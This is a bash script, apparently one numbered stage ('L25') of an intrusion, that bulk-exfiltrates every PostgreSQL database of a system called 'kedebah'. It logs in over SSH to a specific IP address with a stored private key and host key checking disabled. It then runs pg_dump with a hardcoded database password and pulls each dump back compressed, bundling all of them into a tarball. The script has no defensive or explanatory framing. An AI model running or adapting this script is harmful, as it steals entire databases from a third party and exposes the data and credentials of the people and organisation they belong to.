#!/bin/bash
# L25: FAST dump ALL kedebah DBs — pg_dump + background
set -u
OUTDIR=/tmp/kedebah_fast_exfil
mkdir -p "$OUTDIR"

echo "=== L25: FAST KEDEBAH EXFIL ==="
echo "Method: pg_dump (fast) + sequential (reliable)"
echo ""

B_KEY="/home/pontian/.tmp_k/ek"
B_HOST="138.201.221.144"
B_PORT="2304"
B_USER="npontucontrl"

# Read DB list
DBS=$(cat /tmp/kedebah_all_dbs.txt)
TOTAL=$(echo "$DBS" | wc -l)
CURRENT=0

echo "Total DBs: $TOTAL"
echo ""

# Skip already done
for db in $DBS; do
  [ -z "$db" ] && continue
  CURRENT=$((CURRENT + 1))
  
  # Skip if already exists and has content
  if [ -f "$OUTDIR/$db/full.sql.gz" ] && [ -s "$OUTDIR/$db/full.sql.gz" ]; then
    echo "[$CURRENT/$TOTAL] SKIP: $db"
    continue
  fi
  
  echo "[$CURRENT/$TOTAL] Dumping: $db"
  
  # Create dir
  mkdir -p "$OUTDIR/$db"
  
  # Dump with pg_dump (fast)
  ssh -i "$B_KEY" -p "$B_PORT" -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=no "$B_USER@$B_HOST" << ENDSSH 2>/dev/null | gzip > "$OUTDIR/$db/full.sql.gz"
PGPASSWORD=N3wkedba# pg_dump -h 127.0.0.1 -p 5432 -U kedebah -d $db --no-owner --no-privileges
ENDSSH
  
  size=$(du -sh "$OUTDIR/$db" 2>/dev/null | cut -f1)
  echo "  Done: $size"
done

echo ""
echo "=== COMPLETE ==="
echo "Total size: $(du -sh $OUTDIR | cut -f1)"
echo "DBs: $(ls $OUTDIR | wc -l)"

# Create tar
cd /tmp && tar czf kedebah_all_fast.tar.gz kedebah_fast_exfil/
echo "Tar: $(du -sh kedebah_all_fast.tar.gz | cut -f1)"
